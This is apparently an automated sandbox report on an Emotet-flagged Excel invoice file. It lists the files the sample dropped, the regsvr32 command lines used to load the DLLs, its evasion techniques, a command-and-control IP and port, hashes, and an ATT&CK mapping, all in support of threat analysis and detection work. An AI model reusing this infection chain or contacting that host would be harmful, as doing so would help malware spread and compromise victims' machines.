Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\klJrMZJhgldiJr6j0XWPeZOiGs[1].dll 278D0C0BAF0203C13A5E72F31027F4FD0921F6FA2A84656485D86F8D09D562C0
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\RD05UTHGkitvIJt[1].dll CAE8D1C14C85D10D7413AF876E6748813AD6930CF4D856E120857C4489A690DA
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\me435CErJsFGw1q[1].dll 90498F1EE590DA28566434C15EFCFD98E829846F233387553EA655FC7559168D

Source: Rechnung.xls	Virustotal: Detection: 42%
Source: Rechnung.xls	ReversingLabs: Detection: 34%

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\uxevr1.ocx
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\ITAzDMJQNXvQb\pSYwk.dll"
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\uxevr2.ocx
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\MTAKuNEHAAsvRsb\hgVDSaDXChbCzdU.dll"
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\uxevr3.ocx
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\GistaKepWrpVA\oAaDhgd.dll"
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\uxevr4.ocx
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\uxevr1.ocx	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\uxevr2.ocx	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\uxevr3.ocx	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\System32\regsvr32.exe /S ..\uxevr4.ocx	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\ITAzDMJQNXvQb\pSYwk.dll"	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\MTAKuNEHAAsvRsb\hgVDSaDXChbCzdU.dll"	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\GistaKepWrpVA\oAaDhgd.dll"	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\InProcServer32

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\uxevr1.ocx

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR6C68.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.expl.evad.winXLS@15/16@5/5

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: Rechnung.xls	OLE indicator, Workbook stream: true
Source: Rechnung.xls.0.dr	OLE indicator, Workbook stream: true

Source: C:\Windows\System32\regsvr32.exe

Code function: 4_2_0000000180006F2C CloseHandle,Process32FirstW,CreateToolhelp32Snapshot,Process32NextW,

4_2_0000000180006F2C

Source: C:\Windows\System32\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: Rechnung.xls

Initial sample: OLE indicators vbamacros = False

Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000C892 push ebp; retf	3_2_000000018000C895
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000D095 push B3B8007Eh; iretd	3_2_000000018000D09A
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000D0F3 push ebp; iretd	3_2_000000018000D0F4
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_0000000180013551 push ebx; retf	3_2_0000000180013559
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000D15D push ebx; retn 0068h	3_2_000000018000D15E
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000CDA8 push ebp; iretd	3_2_000000018000CDA9
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000000018000CE36 push 458B0086h; iretd	3_2_000000018000CE3B
Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_0000000180013551 push ebx; retf	4_2_0000000180013559
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000C892 push ebp; retf	5_2_000000018000C895
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000D095 push B3B8007Eh; iretd	5_2_000000018000D09A
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000D0F3 push ebp; iretd	5_2_000000018000D0F4
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_0000000180013551 push ebx; retf	5_2_0000000180013559
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000D15D push ebx; retn 0068h	5_2_000000018000D15E
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000CDA8 push ebp; iretd	5_2_000000018000CDA9
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000000018000CE36 push 458B0086h; iretd	5_2_000000018000CE3B
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_0000000180013551 push ebx; retf	6_2_0000000180013559
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000000018000C892 push ebp; retf	7_2_000000018000C895
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000000018000D095 push B3B8007Eh; iretd	7_2_000000018000D09A
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000000018000D0F3 push ebp; iretd	7_2_000000018000D0F4
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_0000000180013551 push ebx; retf	7_2_0000000180013559
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000000018000D15D push ebx; retn 0068h	7_2_000000018000D15E
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000000018000CDA8 push ebp; iretd	7_2_000000018000CDA9
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000000018000CE36 push 458B0086h; iretd	7_2_000000018000CE3B
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_0000000180013551 push ebx; retf	8_2_0000000180013559

Source: C:\Windows\System32\regsvr32.exe

Code function: 3_2_000007FEF9D30CC0 LoadLibraryW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

3_2_000007FEF9D30CC0

Source: uxevr1.ocx.0.dr	Static PE information: real checksum: 0x654f5 should be: 0x5bd5c
Source: uxevr3.ocx.0.dr	Static PE information: real checksum: 0x654f5 should be: 0x5c302
Source: uxevr2.ocx.0.dr	Static PE information: real checksum: 0x654f5 should be: 0x66558
Source: me435CErJsFGw1q[1].dll.0.dr	Static PE information: real checksum: 0x654f5 should be: 0x66558
Source: klJrMZJhgldiJr6j0XWPeZOiGs[1].dll.0.dr	Static PE information: real checksum: 0x654f5 should be: 0x5c302
Source: RD05UTHGkitvIJt[1].dll.0.dr	Static PE information: real checksum: 0x654f5 should be: 0x5bd5c

Source: C:\Windows\System32\regsvr32.exe

Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\ITAzDMJQNXvQb\pSYwk.dll"

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr1.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr3.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\klJrMZJhgldiJr6j0XWPeZOiGs[1].dll	Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe	File created: C:\Windows\System32\GistaKepWrpVA\oAaDhgd.dll (copy)	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\RD05UTHGkitvIJt[1].dll	Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe	File created: C:\Windows\System32\ITAzDMJQNXvQb\pSYwk.dll (copy)	Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe	File created: C:\Windows\System32\MTAKuNEHAAsvRsb\hgVDSaDXChbCzdU.dll (copy)	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr2.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\me435CErJsFGw1q[1].dll	Jump to dropped file

Source: C:\Windows\System32\regsvr32.exe	File created: C:\Windows\System32\GistaKepWrpVA\oAaDhgd.dll (copy)	Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe	File created: C:\Windows\System32\ITAzDMJQNXvQb\pSYwk.dll (copy)	Jump to dropped file
Source: C:\Windows\System32\regsvr32.exe	File created: C:\Windows\System32\MTAKuNEHAAsvRsb\hgVDSaDXChbCzdU.dll (copy)	Jump to dropped file

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr1.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr3.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr2.ocx	Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr1.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr3.ocx	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\uxevr2.ocx	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\System32\regsvr32.exe	File opened: C:\Windows\system32\ITAzDMJQNXvQb\pSYwk.dll:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File opened: C:\Windows\system32\MTAKuNEHAAsvRsb\hgVDSaDXChbCzdU.dll:Zone.Identifier read attributes \| delete	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File opened: C:\Windows\system32\GistaKepWrpVA\oAaDhgd.dll:Zone.Identifier read attributes \| delete	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe TID: 672	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 2576	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 280	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 2020	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 2628	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 2648	Thread sleep time: -60000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

graph_3-16375

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\klJrMZJhgldiJr6j0XWPeZOiGs[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\RD05UTHGkitvIJt[1].dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\me435CErJsFGw1q[1].dll	Jump to dropped file

Source: C:\Windows\System32\regsvr32.exe	API coverage: 8.2 %
Source: C:\Windows\System32\regsvr32.exe	API coverage: 8.2 %
Source: C:\Windows\System32\regsvr32.exe	API coverage: 7.3 %

Source: C:\Windows\System32\regsvr32.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_00000001800248B0 FindFirstFileW,FindNextFileW,FindClose,	4_2_00000001800248B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 6_2_00000001800248B0 FindFirstFileW,FindNextFileW,FindClose,	6_2_00000001800248B0
Source: C:\Windows\System32\regsvr32.exe	Code function: 8_2_00000001800248B0 FindFirstFileW,FindNextFileW,FindClose,	8_2_00000001800248B0

Source: C:\Windows\System32\regsvr32.exe	API call chain: ExitProcess graph end node	graph_3-16377
Source: C:\Windows\System32\regsvr32.exe	API call chain: ExitProcess graph end node	graph_3-16481
Source: C:\Windows\System32\regsvr32.exe	API call chain: ExitProcess graph end node	graph_5-16481
Source: C:\Windows\System32\regsvr32.exe	API call chain: ExitProcess graph end node	graph_5-16668
Source: C:\Windows\System32\regsvr32.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\System32\regsvr32.exe	API call chain: ExitProcess graph end node

Source: C:\Windows\System32\regsvr32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: regsvr32.exe, 00000007.00000002.953259566.00000000000FA000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{8a079453-cd11-11ea-a1d0-806e6f6e6963}#0000000006500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}]

Source: C:\Windows\System32\regsvr32.exe

Code function: 3_2_000007FEF9D23280 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

3_2_000007FEF9D23280

Source: C:\Windows\System32\regsvr32.exe

Code function: 3_2_000007FEF9D30215 _itow_s,_invoke_watson_if_error,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,_wcsftime_l,_invoke_watson_if_oneof,_invoke_watson_if_error,_invoke_watson_if_error,_invoke_watson_if_error,_invoke_watson_if_error,_invoke_watson_if_error,_snwprintf_s,_invoke_watson_if_oneof,_invoke_watson_if_error,_invoke_watson_if_oneof,_invoke_watson_if_error,_unlock,GetFileType,WriteConsoleW,GetLastError,_invoke_watson_if_oneof,WriteFile,WriteFile,OutputDebugStringW,_itow_s,_invoke_watson_if_error,

3_2_000007FEF9D30215

Source: C:\Windows\System32\regsvr32.exe

3_2_000007FEF9D30CC0

Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D23280 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_000007FEF9D23280
Source: C:\Windows\System32\regsvr32.exe	Code function: 3_2_000007FEF9D2BE50 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_000007FEF9D2BE50
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000007FEF7533280 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_000007FEF7533280
Source: C:\Windows\System32\regsvr32.exe	Code function: 5_2_000007FEF753BE50 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_000007FEF753BE50
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000007FEF74D3280 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	7_2_000007FEF74D3280
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000007FEF74DBE50 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	7_2_000007FEF74DBE50

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\regsvr32.exe

Network Connect: 173.82.82.196 8080

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\ITAzDMJQNXvQb\pSYwk.dll"	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\MTAKuNEHAAsvRsb\hgVDSaDXChbCzdU.dll"	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\GistaKepWrpVA\oAaDhgd.dll"	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

Code function: 3_2_000007FEF9D28900 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

3_2_000007FEF9D28900

Source: C:\Windows\System32\regsvr32.exe

Code function: 3_2_000007FEF9D28860 HeapCreate,GetVersion,HeapSetInformation,

3_2_000007FEF9D28860

Stealing of Sensitive Information

Yara detected Emotet

Source: Yara match	File source: 8.2.regsvr32.exe.1d0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.regsvr32.exe.3d0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.regsvr32.exe.3d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.regsvr32.exe.1fe0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.regsvr32.exe.2f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.regsvr32.exe.1fe0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.regsvr32.exe.1d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.regsvr32.exe.2e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.regsvr32.exe.150000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.regsvr32.exe.2e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.regsvr32.exe.2f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.regsvr32.exe.150000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.1240649290.00000000001D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.943959485.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.953530856.00000000003D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1241261455.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1240847022.0000000001FE0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.935688692.0000000000150000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1241152796.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.953780664.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.943507589.00000000002F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1240660919.00000000002E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1241141714.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	2 Scripting	Path Interception	111 Process Injection	131 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	11 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	2 Native API	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Disable or Modify Tools	LSASS Memory	1 Query Registry	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	1 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	43 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	1 Virtualization/Sandbox Evasion	Security Account Manager	121 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	15 Ingress Tool Transfer	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	111 Process Injection	NTDS	1 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Scheduled Transfer	3 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	2 Process Discovery	SSH	Keylogging	Data Transfer Size Limits	24 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	2 Scripting	Cached Domain Credentials	1 Remote System Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Hidden Files and Directories	DCSync	2 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	2 Obfuscated Files or Information	Proc Filesystem	16 System Information Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	1 Regsvr32	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Rechnung.xls	42%	Virustotal		Browse
Rechnung.xls	34%	ReversingLabs	Document-Excel.Trojan.Abracadabra

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\me435CErJsFGw1q[1].dll	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\klJrMZJhgldiJr6j0XWPeZOiGs[1].dll	100%	Joe Sandbox ML
C:\Users\user\uxevr3.ocx	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\RD05UTHGkitvIJt[1].dll	100%	Joe Sandbox ML
C:\Users\user\uxevr1.ocx	100%	Joe Sandbox ML
C:\Users\user\uxevr2.ocx	100%	Joe Sandbox ML
